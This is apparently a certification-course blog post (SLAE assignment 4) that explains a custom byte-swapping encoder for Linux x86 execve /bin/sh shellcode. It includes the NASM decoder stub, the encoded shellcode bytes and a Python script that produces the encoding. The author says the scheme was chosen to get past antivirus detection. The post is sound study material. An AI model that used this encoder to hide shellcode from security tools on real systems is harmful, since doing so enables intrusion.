SLAE – Assignment #4: Custom shellcode encoder
Table of Contents
Assignment #4: Custom Shellcode Encoder
As the 4th SLAE’s assignment I was required to build a custom shellcode encoder for the execve payload, which I did, here how.
Encoder Implementations
I’ve decided to not relay on XORing functionalities as most antivirus solutions are now well aware of this encoding schema, the same reason for which I’ve skipped ROT13 and other “rotating” encoding. I thought of using some multiple weird shifting schema but that would have had a negative impact on decoder’s routine and global shellcode size.
At the end I’ve opted for a simpler byte swapping technique:
- Shellcode’s length is calculated
- On shellcode’s length is then applied MOD 2 operation in order to understand if its size is odd or even
- In case shellcode’s size is an odd number, a NOP operation (\x90) is added at the end of it, padding its size to an even number
- Now every byte of the shellcode is swapped with its subsequent one. That’s why we need to pad it if its size is an odd number, otherwise latest byte would miss something to swap with.
Analyzing the Decoder Routine
As always, all the code is also available on GitHub.
; Paolo Stagno aka [VoidSec](https://voidsec.com) ; SLAE-1511 global _start section .text _start: jmp short shellcode_section ; goto shellcode_section decoder: ; decoder's main pop esi ; load address of our encoded shellcode (encoded_shellcode) into ESI (JMP CALL POP trick) mul ecx ; trick to clear eax and exc mov cl, 10 ; loop half the times of our shellcode length as we are swapping two bytes at time (eg. shellcode length is 20) decode_loop: mov al, byte [esi] ; load encoded_shellcode's byte pointed by ESI in al | [A][B] al=A xchg byte [esi+1], al ; swap al value with next byte value (ESI+1) | [A][A] al=B mov [esi], al ; load swapped byte in al to location pointed by ESI | [B][A] add esi, 2 ; select next byte "couple" loop decode_loop ; cl is 0? No, we go back at decode_loop and execute the cicle again jmp short encoded_shellcode ; cl is 0, we've decoded all our shellcode and we can now directly jump into it shellcode_section: call decoder ; goto decoder's main, putting encoded_shellcode on the stack encoded_shellcode: db 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
I’ve then built a helper python script that takes care of padding and swapping shellcode’s byte, generating the resulting payload.
# Paolo Stagno aka [VoidSec](https://voidsec.com) # SLAE-1511 #!/usr/bin/env python import binascii execve_shellcode = bytearray(b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80") if (len(execve_shellcode)%2)!=0: #must be padded at an even number execve_shellcode.append(0x90) execve_shellcode = bytearray(execve_shellcode) shellcode_len=len(execve_shellcode) print("[>] Shellcode Length: {}".format(shellcode_len)) orig=[] swapped=[] x=0 for i in execve_shellcode: orig.append(i) while x<shellcode_len: swapped.append(execve_shellcode[x+1]) swapped.append(execve_shellcode[x]) x+=2 print("[>] Original shellcode:\n--------------------------") print(orig) print("\n[>] Encoded Shellcode:\n--------------------------") print(swapped) swapped=binascii.hexlify(bytearray(swapped)) swapped="0x"+"0x".join(a+b for a,b in zip(swapped[::2], swapped[1::2])) swapped=", ".join(swapped[i:i+4] for i in range(0, len(swapped), 4)) print("\n[>] Nasm:\n--------------------------\n{}").format(swapped)
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1511